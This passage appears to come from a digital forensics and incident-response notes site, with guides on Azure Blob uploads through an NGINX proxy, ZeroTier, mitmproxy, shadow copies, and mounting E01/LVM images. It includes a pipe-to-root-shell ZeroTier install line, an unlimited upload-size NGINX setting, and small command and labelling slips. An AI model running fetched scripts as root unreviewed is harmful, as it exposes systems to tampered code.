This step is critical. If you skip this step, you will see 'Invalid URI' when you try and upload files using the SAS URLs you generate.&#x20;

## 7.      Reconfigure NGINX to allow large file uploads

```
$ nano /etc/nginx/nginx.conf

add the following line before the end of the HTTP block;

http {

        ##
        # Basic Settings
        ##
        [snip]
        
client_max_body_size 0;
}

$ nginx -t
$ service nginx reload
$ service nginx restart
```

This value can be changed to whatever you deem to be appropriate. It's not best practice to blindly accept unauthenticated requests from the internet without limiting the max bodysize. The 0 value skips this check. The risk of this being exposed to the greater internet can be mitigated by limiting connections from known egress IPs (such as offices or enterprise connections), or including authorisation headers. That's outside the scope of this guide.

## 8.      Restrict Azure Blob service access to the IP address of our NGINX proxy

When your storage account was provisioned, you had the option of selecting 'Public network access' values, as seen below. This is not the same as enabling anonymous blob access. During testing, add the public IP address of your NGINX proxy, as well as the public IP address from which you'll be managing the account. If you're using Microsoft Azure Storage Explorer, you must enter your public IP address here to ensure you can administer the bucket and generate SAS URLs/keys.

<figure><img src="/files/eOJUhRulVwpsTDWthBir" alt=""><figcaption></figcaption></figure>

## 9.      Generate bucket, SAS, and use AzCopy

Download Microsoft Azure Storage Explorer, sign into your Azure account, and browse to your Azure subscription and storage account.

<figure><img src="/files/HApTDvhg39BwIjn9a5Ig" alt=""><figcaption></figcaption></figure>

If you don't have one already, right click 'Blob Containers' and create a new one. We're using the 'iblue' bucket in this example.

Right click your bucket, and click 'Get Shared Access Signature' (SAS)

<div align="left"><figure><img src="/files/yQspJREHXrmURMl7e40f" alt=""><figcaption></figcaption></figure></div>

You'll be presented with a range of options to create a signature. To upload/write/add files, create objects, folders, you'll need Read/Add/Create/Write permissions. Select these. If you know the public IP of the host which you're uploading from (or egress IP if it's on a VPN or going through a corporate proxy), then add these values here as an additional control. Setting an expiration is also appropriate given these SAS signatures/keys aren't one time use.&#x20;

More best practices are listed here: <https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview#best-practices-when-using-sas>

<div align="left"><figure><img src="/files/6SdAykQgfz9UXrVN3zNv" alt=""><figcaption></figcaption></figure></div>

Click create.

<div align="left"><figure><img src="/files/iCtMz3fa9ExMizxkHTcL" alt=""><figcaption></figcaption></figure></div>

Remember when we configured a custom domain in Azure and verified our ownership of blob.iblue.team? If you didn't perform those steps, you won't be able to replace your storage account name (ixibluevault.blob.core.windows.net) with your custom domain name.&#x20;

If you were to try and use this URL from a host which wasn't whitelisted, you won't be authorised and it'll throw an error. Likewise, if you try and use your custom domain without verifying it, you'll see an error similar to 'HTTP/1.1 400 Value for one of the query parameters specified in the request URI is invalid.'

Generate a 64MB file

```
 dd if=/dev/urandom of=64MB.bin bs=64M count=1 iflag=fullblock
```

Use our SAS URL and azcopy, and send it.

<figure><img src="/files/EeewL0ytrGLuKLzWdWYO" alt=""><figcaption></figcaption></figure>

Success. That works, let's try our custom subdomain with the same SAS signature (everything after the **?sv=**)

<figure><img src="/files/2DAvq9svZR1fM6hbyQBp" alt=""><figcaption></figcaption></figure>

That's fine, just add '--from-to LocalBlob' after 'copy' but before the file. It should look like this;

<figure><img src="/files/Hh9LohefV37qO74DPMIA" alt=""><figcaption></figcaption></figure>

Remove your public IP from the Azure Blob settings which we configured before. We want to verify that all access it being sent through the proxy.&#x20;

After you remove the IP (not the proxy's public/egress IP), you should see the following error in Azure Storage Explorer.

<figure><img src="/files/zaekJhsmAixCuetaTfpY" alt=""><figcaption></figcaption></figure>

This is fine but it means we can't generate any SAS URLs using the console. We can't do it via the Azure Portal either, since our IP isn't authorised for access. However, we only want to test the upload functionality of AzCopy with these new restrictions.

<figure><img src="/files/XYvPPwOBjqCgiD2OVa2D" alt=""><figcaption></figcaption></figure>

You'll now need to go into your CrowdStrike containment policy and add the public IP address of your NGINX proxy which you'll use with AzCopy.

Running some side by side comparisons between the above method and the native RTR 'get' command saw incredible improvements. Using 'get' to acquire a \~500MB triage collection from a server on an enterprise grade NBN connection took hours.&#x20;

Transfer speeds are now limited by the host's resources, memory, disk performance, and available bandwidth. I used AzCopy to transfer 32GB/64GB files in a matter of \~5 minutes. This is not currently possible with RTR.&#x20;

To further enhance your workflow, you can mount your storage account on a VM and to access files you've uploaded entirely within the cloud. You can also generate additional keys (or define access policies) to share resources with external stakeholders, or just to download them internally and share amongst teams.

## 10. Summary

We've created an NGINX proxy which will receive requests from clients with the CrowdStrike agent installed.  AzCopy uses pre-signed/signature validated URLs which can be used to upload files.

Upload requests via the NGINX proxy be forwarded to our Azure Blob storage account using our custom domain. The Blob storage account will only accept requests from our proxy, and not directly from the internet.

**Further reading**

<https://www.f5.com/company/blog/nginx/avoiding-top-10-nginx-configuration-mistakes\\>
<https://jrdeveloper.hashnode.dev/reverse-proxy-a-request-to-azure-blob-storage-urls-with-nginx>


# Install and Configure ZeroTier client

ZeroTier creates secure networks between on-premise, cloud, desktop, and mobile devices.

The official ZeroTier [documentation ](https://www.zerotier.com/download/)provides a way to install ZeroTier through a single line;

```
curl -s https://install.zerotier.com | sudo bash
```

However, a recommended option would be to first download the same install script, review/validate it, then execute it;

```
curl -s https://install.zerotier.com -o zerotier.sh; chmod +x zerotier.sh
(review zerotier.sh)
./zerotier.sh
```

Once installed -&#x20;

```
zerotier-cli status
(shows current node address and service status)

zerotier-cli join xxxxxxx
(joins network ID and outputs join status)

zerotier-cli leave xxxxxxx
(leaves network ID and shows status)

zerotier-cli listnetworks
(shows network IDs associated with, node, vMAC, and IP)
```


# S3FS Fuse and MinIO

s3fs fuse is an S3 object compatible file system which allows you to mount an S3 compatible bucket (AWS, MinIO etc) as a local mount point.

Using the previous guide on setting up MinIO, we'll install s3fs, mount a MinIO bucket, and image a local drive to it. We first need to create a file which will store your service keys/credentials. This also must have the correct permissions otherwise s3fs won't mount it if they're too permissive.

To set a service account; MinIO Console > Identity > Service Accounts

To set a user account with an associated service account; MinIO Console > Users > Select User > Service Accounts > Create Service Account

```
$ echo "SERVICE_ID:SERVICE_KEY" > /home/user/.s3creds
$ chmod 600 .s3creds

$ sudo apt install s3fs-fuse
$ sudo mkdir /mnt/mynewbucket
$ sudo s3fs my-bucket-name /mnt/mynewbucket -o passwd_file=/home/user/.s3creds,use_path_request_style,url=https://FQDN-hostname:9000
```

If you were using this in a test environment and needed to ignore a self-signed or otherwise invalid SSL cert, just append **'-o no\_check\_certificate'**

Now you can use your preferred imaging and set **/mnt/mynewbucket** as your destination.


# Enable nested VT-X/AMD-V

I recently ran across this while attempting to install Android Studio inside a Linux guest VM. The option to enable nested VT-X/AMD-V in virtualbox settings (for the specific VM) was greyed out.

Shut the guest down, launch cmd.exe inside the VirtualBox installation folder

> `VBoxManage modifyvm guest-vn-name --nested-hw-virt on`

The option tick box should be available and automatically selected.


# mitm proxy

Instal mitmproxy

```
$ sudo apt install mitmproxy
```

Run mitmproxy. By default it listens on all interfaces (\*) on port 8080

```
$ sudo mitmproxy
```

Run mitmproxy (web version)

```
$ sudo mitmweb
```

Browse to <http://mitm.it> on your client device

Install proxy root certificate

For iOS devices, you must visit <http://mitm.it> using Safari. Install the profile. Settings > General > mitmproxy > Install (and enter PIN).

iOS: Settings > General > About > Certificate Trust Cettings - Enable mitmproxy for full trust

Configure network settings

iOS: Settings > Wi-Fi > Select your network (select (i)) > Configure HTTP proxy > Manual;&#x20;

Server = IP address of the host running mitmproxy (must be contactable)\
Port = 8080 (by default)\
Authentication = blank<br>


# Exploring Volume Shadow Copies Manually

How to explore volume shadow copies manually with opensource tools

Download and install Arsenal Image Mounter

{% embed url="<https://github.com/ArsenalRecon/Arsenal-Image-Mounter>" %}

Run Arsenal Image MountTool. This installs a virtual SCSI controller driver and allows you to interact with your image.

Mount your image with Arsenal Image Mounter

<div align="left"><img src="/files/-MK8tuQebJTLxz4jhgEJ" alt=""></div>

Select ‘mount through libewf’ which is what we require (we’re mounting a split E01 image series which is in the EWF format).

Mount options. We require ‘Read only’ to preserve the integrity of our image.

<div align="left"><img src="/files/-MK8u9-6FTirBu5NmGsX" alt="Select necessary options"></div>

<div align="left"><img src="/files/-MK8uAxnRVJ8y2_oP2zA" alt="Disk is now mounted"></div>

\
Our primary/operating system partition is now mounted as K:

![](/files/-MK8uLOVqVSam3hH5opC)

Open an elevated command prompt

```
C:> vssadmin list shadows /for=K:
```

<div align="left"><img src="/files/-MK8uQF69kbYAAihyjjF" alt=""></div>

Enter working directory

```
C:> cd C:\users\user\Desktop\Temp
```

Create symbolic link to required volume shadow copy

```
$ mklink /D vss4 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\
(make sure you include trailing slash after HarddiskVolumeShadowCopy4)

C:> cd vss4
C:> dir
```

<div align="left"><img src="/files/-MK8uvn9cFZN9xsBuphr" alt=""></div>

Obviously this will become rather tedious if you're searching multiple shadow copies across multiple disks, however if you're only looking to see whether a particular file exists in a known location, this can be a quick and easy method.


# Resize VMDK/VDI

Resize VMDK/VDI

Clone the .vmdk image to a .vdi.

```
$ vboxmanage clonehd "virtualdisk.vmdk" "new-virtualdisk.vdi" --format vdi
```

Resize the new .vdi image (102400 == 100 GB)

```
$ vboxmanage modifyhd "new-virtualdisk.vdi" --resize 102400
```

Convert back to a .vmdk (optional)

```
$ vboxmanage clonehd "cloned.vdi" "resized.vmdk" --format vmdk
```


# Resize VMDK on ESXi

You've created a Linux guest VM on ESXi, but now it's outgrown its original storage requirements and you need to resize it.

ESXi 7.0\
Ubuntu 18.04

1. Navigate to web interface for ESXi. Find guest VM. **You are not required to turn off the VM.**
2. Select VM. Edit. Hard disk - change size for disk (if there is datastore space available).
3. SSH (or use console) into the guest VM. Make the following changes.
4. No reboot required.

```
parted ---pretend-input-tty /dev/sda resizepart 2 100%
partx -u /dev/sda
pvresize /dev/sda2
lvextend -r vg/lv_root /dev/sda2
```

* /dev/sda is the disk you've resized
* /dev/sdaX is the partition you have an LV sitting in/on
* /vg/lv\_root is the logical volume name which you wish to resize

![](/files/6iToPqbDRQZyvGHSdDAM)

Source: <https://www.ryadel.com/en/linux-resize-extend-disk-partition-unallocated-space-centos-rhel-ubuntu-debian-vm/>


# Convert raw to vmdk

**Using qemu-img;**

```
$ sudo apt-get install qemu-tools
$ sudo qemu-img convert -O vmdk rawimage.dd /path/to/output/file.vmdk
```

750GB raw image (acquired using ddrescue/dcfldd) converted using above method took \~2 hours on mid-spec machine.

Create new virtual machine with required resources\
Select existing virtual disk\
Select above file

Note: won't boot directly in VirtualBox without changing settings (notes tba)

**Using VirtualBox/VBManage**

```
$ VBoxManage convertfromraw imagefile.dd vmdkname.vmdk --format VMDK
```

750GB raw image converted to 750GB VMDK in 1hr 45 on mid-spec machine.


# Favicon hashing and hunting with Shodan

Use the following python script/s to pull a website's favourite icon and hash it using MurmurHash3.

Shodan uses mmh3 to hash favicons and these are indexed during their periodic crawls.

```
-----------------------------
# python 2
import mmh3
import requests
 
response = requests.get('https://domain.com/favicon.ico')
favicon = response.content.encode('base64')
hash = mmh3.hash(favicon)
print hash

-----------------------------

# python 3

import mmh3
import requests
import codecs
 
response = requests.get('https://domain.com/favicon.ico')
favicon = codecs.encode(response.content,"base64")
hash = mmh3.hash(favicon)
print(hash)
```

Shodan search query;

http.favicon.hash:{hash}


# WinRM/RemotePS

```
PS C:\WINDOWS\system32> $b = New-PSSession -ComputerName REMOTEIP -Credential DOMAIN.local\administrator
PS C:\WINDOWS\system32> Copy-Item -FromSession $b C:\Users\Administrator\Downloads\CyLR\PACKAGE.ZIP -Destination C:\LOCALHOST\PACKAGE.ZIP
```

Enabled Remote PS, executed CyLR, copied it back to source machine for analysis.


# MinIO/S3/R2 ghost files

Sometimes a multi-part upload will fail and result in ghost files. Your bucket will indicate it has contents/cannot be deleted, but you can't see anything.

Tested on MinIO, S3, and R2.

{% code overflow="wrap" %}

```
$ sudo apt install awscli

$ aws configure
AWS Access Key ID [None]: xxxxxxxxxxx
AWS Secret Access Key [None]: xxxxxxxxxxxxx
Default region name [None]:
Default output format [None]:

$ aws s3api list-multipart-uploads --bucket BUCKET-NAME --endpoint-url https://YOURENDPOINT.r2.cloudflarestorage.com/BUCKET-NAME

$ aws s3api list-multipart-uploads --bucket BUCKET-NAME --endpoint-url https://YOURENDPOINT.r2.cloudflarestorage.com/BUCKET-NAME
{
    "Uploads": [
        {
            "UploadId": "REALLY-LONG-ID-STRING",
            "Key": "folder/file.extension",
            "Initiated": "2023-01-24T12:07:30.202000+00:00",
            "StorageClass": "STANDARD",
            "Owner": {
                "DisplayName": "API-KEY",
                "ID": "API-KEY"
            },
            "Initiator": {
                "ID": "API-KEY",
                "DisplayName": "API-KEY"
            }
        }
    ]
}

$ aws s3api abort-multipart-upload --bucket BUCKET-NAME --endpoint-url https://YOURENDPOINT.r2.cloudflarestorage.com --upload-id "REALLY-LONG-ID-STRING" --key "folder/file.extension"

$ aws s3api list-multipart-uploads --bucket BUCKET-NAME --endpoint-url https://YOURENDPOINT.r2.cloudflarestorage.com/BUCKET-NAME
(this should be empty and/or your previous UploadID won't exist)


```

{% endcode %}


# Mount E01 containing VMDK/XFS from RHEL system

You're provided with an E01 of a VMDK from a RedHat Enterprise Linux system, which is formatted using XFS and is part of an LVM group.

We created a RedHat Linux (RHEL) v9.2 virtual machine with a single 10GB virtual disk, formatted with XFS, and part of an LVM. We created a file called 'files.txt' on the user's desktop.&#x20;

We have the following file; `RHEL-9.2-LVM-XFS.E01`

The following will provide two examples of how to mount an E01 file and inspect its contents.

My preference is to use a combination of xmount, kpartx, and lvscan. This will provide you with the ability to mount the E01 (either single file or split segments), create/map partitions using kpartx, scan for LVM segments using lvscan, and then mount it using mount.

The second method is to use ewfmount, and guestfish.

You'll need the following tools;

* xmount; mount/convert mulitple input file types (including ewf/E01 images, virtual disks, etc)
* kpartx; reads partition tables on block devices and maps partitions
* diskinfo; display information about a disk device
* ewftools; mount E01 files read-only (no cache, optional)
* sleuthkit; inspect filesystem information using mmls and fls (optional)

```
$ file RHEL-9.2-LVM-XFS.E01
RHEL-9.2-LVM-XFS.E01: EWF/Expert Witness/EnCase image file format
```

## First method - using xmount and kpartx

**Use xmount to mount the disk**

```
$ sudo xmount --in ewf RHEL-9.2-LVM-XFS.E01 --out vmdk --cache rhel-cache /mnt/RHEL
```

`--in ewf` specifies input format (can be a range of E01 segments (use E?? instead of E01))

`-- out vmdk` specifies output format (can be multiple formats, raw, vhd, vmdk, etc)

`--cache rhel-cache` the output temp cache folder (as a write overlay) for temporary image writes

&#x20;`/mnt/RHEL` the location we want to mount our image

<pre><code><strong>$ ls /mnt/RHEL
</strong>RHEL-9.2-LVM-XFS.dd  RHEL-9.2-LVM-XFS.info  RHEL-9.2-LVM-XFS.vmdk
</code></pre>

**Identify partitions from raw (dd) image**

<pre><code>$ disktype /mnt/RHEL/RHEL-9.2-LVM-XFS.dd

<strong>--- RHEL-9.2-LVM-XFS.dd
</strong>Regular file, size 10 GiB (10737418240 bytes)
GRUB boot loader, unknown compat version 1
DOS/MBR partition map
Partition 1: 1 GiB (1073741824 bytes, 2097152 sectors from 2048, bootable)
  Type 0x83 (Linux)
  XFS file system, version 5
    Volume name ""
    UUID xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxx (DCE, v4)
    Volume size 1 GiB (1073741824 bytes, 262144 blocks of 4 KiB)
Partition 2: 8.999 GiB (9662627840 bytes, 18872320 sectors from 2099200)
  Type 0x8E (Linux LVM)
  Linux LVM2 volume, version 001
    LABELONE label at sector 1
    PV UUID xxxxxx-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxx
    Volume size 8.999 GiB (9662627840 bytes)
    Meta-data version 1
</code></pre>

```
$ sudo fdisk -l /mnt/RHEL/RHEL-9.2-LVM-XFS.dd
Disk /mnt/RHEL/RHEL-9.2-LVM-XFS.dd: 10 GiB, 10737418240 bytes, 20971520 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xa35043bb

Device                         Boot   Start      End  Sectors Size Id Type
/mnt/RHEL/RHEL-9.2-LVM-XFS.dd1 *       2048  2099199  2097152   1G 83 Linux
/mnt/RHEL/RHEL-9.2-LVM-XFS.dd2      2099200 20971519 18872320   9G 8e Linux LVM
```

We can see from the output of both disktype and fdisk that the second partition (starting at offset 2099200) is a Linux LVM member.

**Use kpartx to mount both partitions**

```
$ sudo kpartx -a -v /mnt/RHEL/RHEL-9.2-LVM-XFS.dd
loop0p1 : 0 2097152 /dev/loop0 2048
loop0p2 : 0 18872320 /dev/loop0 2099200
```

```
$ ls /dev/mapper
control  loop0p1  loop0p2
```

```
$ ls -lah /dev/mapper/loop0p2
lrwxrwxrwx 1 root root 7 Aug 20 12:53 /dev/mapper/loop0p2 -> ../dm-1
$ sudo lvscan
  ACTIVE            '/dev/rhel/root' [<8.00 GiB] inherit
  ACTIVE            '/dev/rhel/swap' [1.00 GiB] inherit
```

**Mount root partition to destination mount point**&#x20;

```
$ sudo mount /dev/rhel/root /mnt/rhel2
```

**See if we can access the file 'files.txt' on the user's desktop**

```
$ ls /mnt/rhel2/home/
username
$ cat /mnt/rhel2/home/username/Desktop/files.txt
all the secrets!
```

## Second method - using ewfmount and guestfish

```
$ sudo mkdir /mnt/RHEL
$ sudo ewfmount RHEL-9.2-LVM-XFS.E01 /mnt/RHEL
$ sudo ls /mnt/RHEL
ewf1
```

```
$ sudo fdisk -l /mnt/RHEL/ewf1
Disk /mnt/RHEL/ewf1: 10 GiB, 10737418240 bytes, 20971520 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xa35043bb

Device           Boot   Start      End  Sectors Size Id Type
/mnt/RHEL/ewf1p1 *       2048  2099199  2097152   1G 83 Linux
/mnt/RHEL/ewf1p2      2099200 20971519 18872320   9G 8e Linux LVM
```

We can see the above partition (p2) is an LVM member.

```
$ sudo losetup -r -o $((512*2099200) /dev/loop0 /mnt/RHEL/ewf1

$ cd /mnt/RHEL
$ mount /dev/loop0 /mnt/rhel-mount
mount: /mnt/RHEL2: unknown filesystem type 'LVM2_member
```

Now, since ewfmount doesn't support write overlay, I always seem to run into errors with XFS filesystems (even mounting using the -ro option). Probably PEBKAC, tbh.

**Run vgscan to see volume group objects**

```
$ vgscan
  Found volume group "rhel" using metadata type lvm2
```

**Run lvscan to see logical volumes**;

<pre><code><strong>$ lvscan
</strong>  inactive          '/dev/rhel/root' [&#x3C;8.00 GiB] inherit
  inactive          '/dev/rhel/swap' [1.00 GiB] inherit
</code></pre>

**Activate**;

```
$ vgchange --activate y rhel
$ lvscan
  ACTIVE            '/dev/rhel/root' [<8.00 GiB] inherit
  ACTIVE            '/dev/rhel/swap' [1.00 GiB] inherit
```

**Try and mount `/dev/rhel/root` (which is just a symlink back to /dev/mapper/dm-\*)**

```
mount /dev/rhel/root /mnt/rhel2
mount: /mnt/rhel2: can't read superblock on /dev/rhel/root.
```

**Run dmesg to see a stack of I/O read/write errors;**

```
$ dmesg

[  801.785731] XFS (dm-0): log recovery write I/O error at daddr 0x35b2 len 4096 error -5
[  801.785737] XFS (dm-0): failed to locate log tail
[  801.785738] XFS (dm-0): log mount/recovery failed: error -5
[  801.786364] XFS (dm-0): log mount failed
[  864.069403] XFS (dm-0): Mounting V5 Filesystem
[  864.074516] Trying to write to read-only block-device loop0
[  864.074551] Trying to write to read-only block-device loop0
[  864.074709] blk_update_request: I/O error, dev loop0, sector 8400354 op 0x1:(WRITE) flags 0x5800 phys_seg 20 prio class 0
[  864.074718] blk_update_request: I/O error, dev loop0, sector 8402914 op 0x1:(WRITE) flags 0x1800 phys_seg 12 prio class 0
[  864.074728] XFS (dm-0): log recovery write I/O error at daddr 0x35b2 len 4096 error -5
```

**So we can mount /dev/rhel/root using the -ro and loop options;**

```
$ mount -o ro,loop /dev/rhel/root /mnt/rhel2
$ ls /mnt/rhel2/home/username/Desktop/
files.txt
$ cat /mnt/rhel2/home/username/Desktop/files.txt
all the secrets!
```

Another way is to mount using guestfish

```
$ guestfish --ro -a /mnt/RHEL/ewf1

Welcome to guestfish, the guest filesystem shell for
editing virtual machine filesystems and disk images.

Type: ‘help’ for help on commands
      ‘man’ to read the manual
      ‘quit’ to quit the shell

><fs> run
 100% ⟦▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒⟧ 00:00
><fs> list-filesystems
/dev/sda1: xfs
/dev/rhel/root: xfs
/dev/rhel/swap: swap
><fs> mount /dev/rhel/root /
><fs> mount-local /mnt/rhel-mount readonly:true
><fs> mount-local-run
```

In another terminal/tab

```
$ cat /mnt/rhel-mount/home/username/Desktop/files.txt
all the secrets!
```


# Disk images for various filesystems and configurations

Disk images are 1GB unless otherwise noted.

Configuration is listed on each page. Most formats should have both a VMDK and raw format available.

In the root of each volume, there is a text file labelled 'notes.txt' which just contains the text '<https://iblue.team>'

<table><thead><tr><th width="361">Volume/file system type</th><th>Status</th></tr></thead><tbody><tr><td>ZFS single disk</td><td></td></tr><tr><td>ZFS dual disk</td><td></td></tr><tr><td>UFS volume</td><td></td></tr><tr><td>FFS volume (4.2/4.3BSD)</td><td></td></tr><tr><td>BTRFS volume</td><td>Done <span data-gb-custom-inline data-tag="emoji" data-code="1f44f">👏</span></td></tr><tr><td>XFS volume</td><td>Done <span data-gb-custom-inline data-tag="emoji" data-code="1f44f">👏</span></td></tr><tr><td>ext4 single disk</td><td>Done <span data-gb-custom-inline data-tag="emoji" data-code="1f44f">👏</span></td></tr><tr><td>ext4 with LVM single disk</td><td>Done <span data-gb-custom-inline data-tag="emoji" data-code="1f44f">👏</span></td></tr><tr><td>ext4 with LVM dual disk</td><td></td></tr><tr><td>ext4 with LVM and LUKS1 (two key slots)</td><td>Done <span data-gb-custom-inline data-tag="emoji" data-code="1f44f">👏</span></td></tr><tr><td>ext4 with LVM and LUKS2 (two key slots)</td><td>Done <span data-gb-custom-inline data-tag="emoji" data-code="1f44f">👏</span></td></tr><tr><td>ext4 with LVM and RAID5 (3 disks)</td><td>Done <span data-gb-custom-inline data-tag="emoji" data-code="1f44f">👏</span></td></tr><tr><td>NTFS</td><td></td></tr><tr><td>FAT32</td><td></td></tr><tr><td>NTFS with BitLocker</td><td></td></tr><tr><td>FAT32 with BitLocker</td><td></td></tr><tr><td><strong>TrueCrypt</strong></td><td></td></tr><tr><td>NTFS</td><td></td></tr><tr><td>FAT32</td><td></td></tr><tr><td>exFAT</td><td></td></tr><tr><td><strong>VeraCrypt</strong></td><td></td></tr><tr><td>NTFS</td><td></td></tr><tr><td>FAT32</td><td>Done <span data-gb-custom-inline data-tag="emoji" data-code="1f44f">👏</span></td></tr><tr><td>exFAT</td><td></td></tr></tbody></table>


# ext4 with LVM and RAID5 (3 disks)

Single LVM on top of a 3 disk RAID5 array, formatted as ext4

**Download** VMDK (zipped)

<https://files.iblue.team/279b6e00-851e/2GB-ext4-raid5/LINUX-MINT-8.vmdk.7z>\
<https://files.iblue.team/279b6e00-851e/2GB-ext4-raid5/LINUX-MINT-7.vmdk.7z>\
<https://files.iblue.team/279b6e00-851e/2GB-ext4-raid5/LINUX-MINT-6.vmdk.7z>

**Download** RAW (zipped)

<https://files.iblue.team/279b6e00-851e/2GB-ext4-raid5/LINUX-MINT-8.vmdk.dd.7z>\
<https://files.iblue.team/279b6e00-851e/2GB-ext4-raid5/LINUX-MINT-7.vmdk.dd.7z>\
<https://files.iblue.team/279b6e00-851e/2GB-ext4-raid5/LINUX-MINT-6.vmdk.dd.7z>

I've created a 3 disk RAID5 array using mdadm/LVM, which contained a few files to demonstrate how data is striped across an array.

How it was created;

1. Create file of a fixed size, using a unique string/word which is easily identifiable such as 'APPLE'

The 'yes' command will output the string passed to it (APPLE) continually until killed. It's piped into head, and it'll output a file of a size of 1GB which is redirected to apple.txt

```
$ yes APPLE | head -c 1073741824 > apple.txt
```

Do this 3 more times using  banana, carrot, date, eggplant, to produce 5 x 1GB text files.

2. Create 3 x 2GB volumes, attach to virtual machine.
3. Unwilling to restart the virtual machine, I probed the SCSI host to detect new disks.

```
$ for host in /sys/class/scsi_host/*; do echo "- - -" | sudo tee $host/scan; ls /dev/sd* ; done
```

<pre><code><strong>$ lsblk
</strong>NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
sda      8:0    0    2G  0 disk
sdb      8:16   0   80G  0 disk
├─sdb1   8:17   0    1M  0 part
├─sdb2   8:18   0  513M  0 part /boot/efi
└─sdb3   8:19   0 79.5G  0 part /
sdc      8:32   0    2G  0 disk
sdd      8:48   0    2G  0 disk
</code></pre>

So we have sda, sdc, and sdd.

Create RAID5 volume using mdadm

```
$ mdadm --create --verbose /dev/md0 --level=5 --raid-devices=3 /dev/sda /dev/sdc /dev/sdd
mdadm: layout defaults to left-symmetric
mdadm: layout defaults to left-symmetric
mdadm: chunk size defaults to 512K
mdadm: size set to 2094080K
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md0 started.
```

Check block device output prior to creating filesystem

```
$ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINTS
sda      8:0    0    2G  0 disk
└─md0    9:0    0    4G  0 raid5
sdb      8:16   0   80G  0 disk
├─sdb1   8:17   0    1M  0 part
├─sdb2   8:18   0  513M  0 part  /boot/efi
└─sdb3   8:19   0 79.5G  0 part  /
sdc      8:32   0    2G  0 disk
└─md0    9:0    0    4G  0 raid5
sdd      8:48   0    2G  0 disk
└─md0    9:0    0    4G  0 raid5
sr0     11:0    1 1024M  0 rom

$ fdisk -l /dev/md0
Disk /dev/md0: 3.99 GiB, 4288675840 bytes, 8376320 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes
```

Create ext4 filesystem on /dev/md0

```
$ mkfs.ext4 /dev/md0
mke2fs 1.46.5 (30-Dec-2021)
Creating filesystem with 1047040 4k blocks and 262144 inodes
Filesystem UUID: 63a60555-ea65-4ed4-83f7-e7e851db8f52
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376, 294912, 819200, 884736

Allocating group tables: done
Writing inode tables: done
Creating journal (16384 blocks): done
Writing superblocks and filesystem accounting information: done
```

Mount volume to /mnt/iblue5 and copy dummy data to it (attempted to copy all 5 x 1GB files, which partially failed due to insufficient space).

```
$ mkdir /mnt/iblue5
$ mount /dev/mapper/data-iblue /mnt/iblue5
$ ls /mnt/iblue5
lost+found
$ cp /home/user/Desktop/*.txt /mnt/iblue5/
$ ls -lah /mnt/iblue5
total 3.9G
drwxr-xr-x  3 root root 4.0K Dec  9 22:39 .
drwxr-xr-x 17 root root 4.0K Dec  9 22:25 ..
-rw-r--r--  1 root root 1.0G Dec  9 22:38 apple.txt
-rw-r--r--  1 root root 1.0G Dec  9 22:38 banana.txt
-rw-r--r--  1 root root 1.0G Dec  9 22:39 carrot.txt
-rw-r--r--  1 root root 858M Dec  9 22:39 date.txt
-rw-r--r--  1 root root    0 Dec  9 22:39 eggplant.txt
drwx------  2 root root  16K Dec  9 22:37 lost+found
```

Unmount /dev/md0

```
$ umount /dev/md0
$ ls /mnt/iblue5
```


# ZFS

Both single volume (arguably pointless), and dual volume pool

Coming shortly.

1GB single ZFS volume in pool 'iblue'

2 x 1GB ZFS volumes in pool 'iblue'


# UFS, FFS, BTRFS, XFS

UFS, FFS - coming shortly.

## 2GB BTRFS

Single ext4 volume created/formatted on a Linux Mint host, at \~22:36ACST 22nd August 2023.

**Download** VMDK (zipped)\
<https://files.iblue.team/279b6e00-851e/2GB-btrfs/LINUX-MINT-2.zip>

**Download** RAW (zipped)\
<https://files.iblue.team/279b6e00-851e/2GB-btrfs/2GB-btrfs-raw.zip>

```
SHA1
217e3188db45e716979013498cdab096d55bc411  2GB-btrfs-raw.001
0f3bb07b5e6b44ecdb99a5f52c9cb9e029e3461c  2GB-btrfs-raw.zip
217e3188db45e716979013498cdab096d55bc411  LINUX-MINT-2.vmdk
1ffee3126faa32743b8bc33363bfe58e5138ad09  LINUX-MINT-2.zip
```

```
2GB empty volume
$ md5sum /dev/sdb
a981130cf2b7e09f4686dc273cf7187e  /dev/sdb

$ mkfs.btrfs /dev/sdb
btrfs-progs v5.16.2
See http://btrfs.wiki.kernel.org for more information.

NOTE: several default settings have changed in version 5.15, please make sure
      this does not affect your deployments:
      - DUP for metadata (-m dup)
      - enabled no-holes (-O no-holes)
      - enabled free-space-tree (-R free-space-tree)

Label:              (null)
UUID:               a8201ae2-3eaf-446d-b004-fee6a011dfaa
Node size:          16384
Sector size:        4096
Filesystem size:    2.00GiB
Block group profiles:
  Data:             single            8.00MiB
  Metadata:         DUP             102.38MiB
  System:           DUP               8.00MiB
SSD detected:       no
Zoned device:       no
Incompat features:  extref, skinny-metadata, no-holes
Runtime features:   free-space-tree
Checksum:           crc32c
Number of devices:  1
Devices:
   ID        SIZE  PATH
    1     2.00GiB  /dev/sdb

$ date
Thu 24 Aug 2023 17:47:55 ACST

$ echo "https://iblue.team" > /mnt/btrfs/notes.txt
$ cat /mnt/btrfs/notes.txt
